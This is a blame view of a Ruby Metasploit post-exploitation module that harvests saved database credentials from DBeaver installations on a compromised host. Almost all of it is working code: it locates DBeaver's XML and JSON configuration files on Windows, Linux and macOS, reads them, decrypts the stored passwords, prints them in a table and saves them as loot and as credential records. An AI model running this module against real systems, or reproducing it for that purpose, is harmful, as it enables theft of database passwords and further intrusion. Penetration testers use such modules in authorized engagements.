Files
metasploit-gs/modules/post/multi/gather/dbeaver.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

213 lines
6.9 KiB
Ruby
Raw Normal View History

2022-12-05 14:54:19 +08:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Rex::Parser::Dbeaver
def initialize(info = {})
super(
update_info(
info,
2023-01-11 18:04:29 +08:00
'Name' => 'Gather Dbeaver Passwords',
2022-12-05 14:54:19 +08:00
'Description' => %q{
This module will determine if Dbeaver is installed on the target system and, if it is, it will try to
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
where possible.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://blog.kali-team.cn/Metasploit-dbeaver-9f42e26241c94ba785dce5f1e69697aa' ]
],
'Author' => ['Kali-Team <kali-team[at]qq.com>'],
2023-01-11 18:04:29 +08:00
'Platform' => [ 'linux', 'win', 'osx', 'unix'],
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
2022-12-05 14:54:19 +08:00
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('XML_FILE_PATH', [ false, 'Specifies the .dbeaver-data-sources.xml file path for Dbeaver']),
OptString.new('JSON_DIR_PATH', [ false, 'Specifies the json directory path for Dbeaver']),
]
)
end
def print_and_save(all_result)
pw_tbl = Rex::Text::Table.new(
'Header' => 'Dbeaver Password',
'Columns' => [
'Name',
'Protocol',
'Hostname',
'Port',
'Username',
'Password',
'DB',
'URI',
'Type',
]
)
all_result.each do |item|
item.each do |_key, value|
pw_tbl << value.values
2023-01-06 14:55:49 +08:00
next if value['user'].empty? && value['password'].empty?
config = {
type: value['provider'],
host: value['host'],
port: value['port'],
username: value['user'],
password: value['password']
}
dbeaver_store_config(config)
2022-12-05 14:54:19 +08:00
end
end
if pw_tbl.rows.count > 0
path = store_loot('host.dbeaver', 'text/plain', session, pw_tbl, 'dbeaver.txt', 'Dbeaver Password')
print_good("Passwords stored in: #{path}")
print_good(pw_tbl.to_s)
end
end
2023-01-06 14:55:49 +08:00
def dbeaver_store_config(config)
service_data = {
address: config[:host],
port: config[:port],
service_name: config[:type],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: config[:password],
username: config[:username]
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
2022-12-05 14:54:19 +08:00
def parse_json_dir(json_dir)
some_result = []
credentials_config = File.join(json_dir, 'credentials-config.json')
data_sources = File.join(json_dir, 'data-sources.json')
if session.platform == 'windows'
credentials_config.gsub!('/') { '\\' }
data_sources.gsub!('/') { '\\' }
end
2022-12-05 14:54:19 +08:00
begin
if file_exist?(credentials_config) && file_exist?(data_sources)
credentials_config_data = read_file(credentials_config) || ''
data_sources_data = read_file(data_sources) || ''
2023-01-05 20:56:06 +08:00
print_error('The file could not be read') if data_sources_data.empty? || credentials_config_data.empty?
2022-12-05 14:54:19 +08:00
credentials_config_loot_path = store_loot('dbeaver.creds', 'text/json', session, credentials_config_data, credentials_config)
data_sources_loot_path = store_loot('dbeaver.creds', 'text/json', session, data_sources_data, data_sources)
print_good("dbeaver credentials-config.json saved to #{credentials_config_loot_path}")
print_good("dbeaver data-sources.json saved to #{data_sources_loot_path}")
some_result << parse_data_sources(data_sources_data, credentials_config_data)
print_status("Finished processing #{json_dir}")
end
rescue Rex::Parser::Dbeaver::Error::DbeaverError => e
print_error("Error when parsing #{data_sources} and #{credentials_config}: #{e}")
2022-12-05 14:54:19 +08:00
end
return some_result
end
def parse_xml_file(fullpath)
some_result = []
begin
if file_exist?(fullpath)
file_data = read_file(fullpath) || ''
2023-01-05 20:56:06 +08:00
print_error("The file #{fullpath} could not be read") if file_data.empty?
2022-12-05 14:54:19 +08:00
loot_path = store_loot('dbeaver.creds', 'text/xml', session, file_data, fullpath)
print_good("dbeaver .dbeaver-data-sources.xml saved to #{loot_path}")
2023-01-05 20:56:06 +08:00
result = parse_data_sources_xml(file_data)
if !result.empty?
some_result << result
end
2022-12-05 14:54:19 +08:00
print_status("Finished processing #{fullpath}")
end
rescue Rex::Parser::Dbeaver::Error::DbeaverError => e
print_error("Error when parsing #{fullpath}: #{e}")
2022-12-05 14:54:19 +08:00
end
return some_result
end
2023-01-11 18:04:29 +08:00
def get_path
path_hash = Hash.new
xml_paths = []
case session.platform
when 'windows'
app_data = get_env('AppData')
if app_data.present?
2023-01-11 18:04:29 +08:00
xml_paths.push(app_data + '\DBeaverData\workspace6\General\.dbeaver-data-sources.xml')
path_hash['json'] = app_data + '\DBeaverData\workspace6\General\.dbeaver'
end
home = get_env('USERPROFILE')
if home.present?
2023-01-11 18:04:29 +08:00
xml_paths.push(home + '\.dbeaver4\General\.dbeaver-data-sources.xml')
end
when 'linux', 'osx', 'unix'
home = get_env('HOME')
if home.present?
2023-01-11 18:04:29 +08:00
xml_paths.push(home + '/.dbeaver4/General/.dbeaver-data-sources.xml')
xml_paths.push(home + '/.local/share/DBeaverData/workspace6/General/.dbeaver-data-sources.xml')
path_hash['json'] = home + '/.local/share/DBeaverData/workspace6/General/.dbeaver'
end
end
path_hash['xml'] = xml_paths
return path_hash
end
2022-12-05 14:54:19 +08:00
def run
print_status('Gather Dbeaver Passwords')
2022-12-05 14:54:19 +08:00
all_result = []
xml_path = ''
json_path = ''
if datastore['XML_FILE_PATH'].present?
xml_path = datastore['XML_FILE_PATH']
print_status("Looking for #{xml_path}")
all_result += parse_xml_file(xml_path)
end
if datastore['JSON_DIR_PATH'].present?
json_path = datastore['JSON_DIR_PATH']
2023-01-05 20:56:06 +08:00
print_status("Looking for JSON files in #{json_path}")
2022-12-05 14:54:19 +08:00
all_result += parse_json_dir(json_path)
end
if xml_path.empty? && json_path.empty?
2023-01-11 18:04:29 +08:00
path_hash = get_path
xml_paths = path_hash['xml'] || []
xml_paths.each do |path|
result = parse_xml_file(path)
if !result.empty?
all_result += result
end
end
if !path_hash['json'].blank?
result = parse_json_dir(path_hash['json'])
if !result.empty?
all_result += result
end
2022-12-05 14:54:19 +08:00
end
end
print_and_save(all_result)
end
end